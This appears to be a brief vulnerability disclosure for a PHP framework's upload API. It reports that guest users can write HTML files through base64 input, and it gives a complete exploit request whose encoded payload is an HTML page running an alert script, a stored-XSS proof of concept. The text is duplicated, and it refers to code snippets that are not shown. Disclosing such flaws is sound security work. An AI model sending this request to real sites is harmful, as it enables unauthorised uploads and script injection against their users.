In the ok_f() method under the framework/api/upload_control.php file, there exists an issue where guest users can write HTML files in base64 format.
These if statements can pass through with the default given values.
Add the following judgment format, these if statements can pass through with the default given values.
The following are the suffixes that can be written, including html.
The final payload is as follows.
api.php?c=upload&f=ok&type=base64&data=text/html;base64,PCFET0NUWVBFIGh0bWw%2BCjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ%2BCjxtZXRhIGNoYXJzZXQ9IlVURi04Ij4KPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAiPgo8dGl0bGU%2BRG9jdW1lbnQ8L3RpdGxlPgo8L2hlYWQ%2BCjxib2R5Pgo8aDE%2BSGVsbG8sIHdvcmxkITwvaDE%2BCjxzY3JpcHQ%2BYWxlcnQoMSk8L3NjcmlwdD4KPC9ib2R5Pgo8L2h0bWw%2B
In the ok_f() method under the framework/api/upload_control.php file, there exists an issue where guest users can write HTML files in base64 format. These if statements can pass through with the default given values. Add the following judgment format, these if statements can pass through with the default given values. The following are the suffixes that can be written, including html.
The final payload is as follows.
api.php?c=upload&f=ok&type=base64&data=text/html;base64,PCFET0NUWVBFIGh0bWw%2BCjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ%2BCjxtZXRhIGNoYXJzZXQ9IlVURi04Ij4KPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAiPgo8dGl0bGU%2BRG9jdW1lbnQ8L3RpdGxlPgo8L2hlYWQ%2BCjxib2R5Pgo8aDE%2BSGVsbG8sIHdvcmxkITwvaDE%2BCjxzY3JpcHQ%2BYWxlcnQoMSk8L3NjcmlwdD4KPC9ib2R5Pgo8L2h0bWw%2B